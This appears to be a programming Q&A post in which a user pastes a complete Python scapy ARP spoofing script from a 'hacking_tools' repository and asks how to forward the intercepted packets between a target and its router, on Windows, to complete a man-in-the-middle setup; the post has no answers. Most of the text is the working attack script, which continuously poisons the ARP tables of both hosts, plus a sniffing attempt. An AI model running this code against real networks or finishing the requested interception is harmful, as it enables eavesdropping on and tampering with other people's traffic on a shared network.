How to packet forward in python using scapy (or other modules if it isn't possible)

13 Views Asked by At

I have this code: https://github.com/mpostument/hacking_tools/blob/master/arp_spoofing/arp_spoofing.py

import scapy.all as scapy
import time
import argparse


def get_arguments():
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", dest="target",
                        help="Target IP")
    parser.add_argument("-g", "--gateway", dest="gateway",
                        help="Gateway IP")
    options = parser.parse_args()
    return options


# Get target mac address using ip address
def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1,
                              verbose=False)[0]
    return answered_list[0][1].hwsrc


# Change mac address in arp table
def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,
                       psrc=spoof_ip)
    scapy.send(packet, verbose=False)


# Restore mac address in arp table
def restore(dest_ip, source_ip):
    dest_mac = get_mac(dest_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=dest_ip, hwdst=dest_mac,
                       psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)


options = get_arguments()
sent_packets_count = 0
try:
    while True:
        spoof(options.target, options.gateway)
        spoof(options.gateway, options.target)
        sent_packets_count += 2
        print(f"\r[+] Packets sent: {sent_packets_count}", end="")
        time.sleep(2)
except KeyboardInterrupt:
    print("\nCTRL+C pressed .... Reseting ARP tables. Please wait")
    restore(options.target, options.gateway)
    restore(options.gateway, options.target)
    print("\nARP table restored. Quiting")

I want to take all the packets I receive from the router intended to the target and from the target to the router and change their MAC from mine to the real intended recipient. I have 2 problems:

  1. How do I refer to this packet so I can change them.
  2. How to change their destination MAC address. I'm nor allowed to use the registry and enable ip forwarding since this is a school project. I'm on windows btw.

For 1 I tried -

x = scapy.sniff(prn=lambda x: x.summary(), filter=f"host {targetIP}")

yet I'm not sure it'll work since I still didn't check and I seriously doubt it will. While I tried searching for a solution to 2, I couldn't find any that does so to packets received.

0

There are 0 best solutions below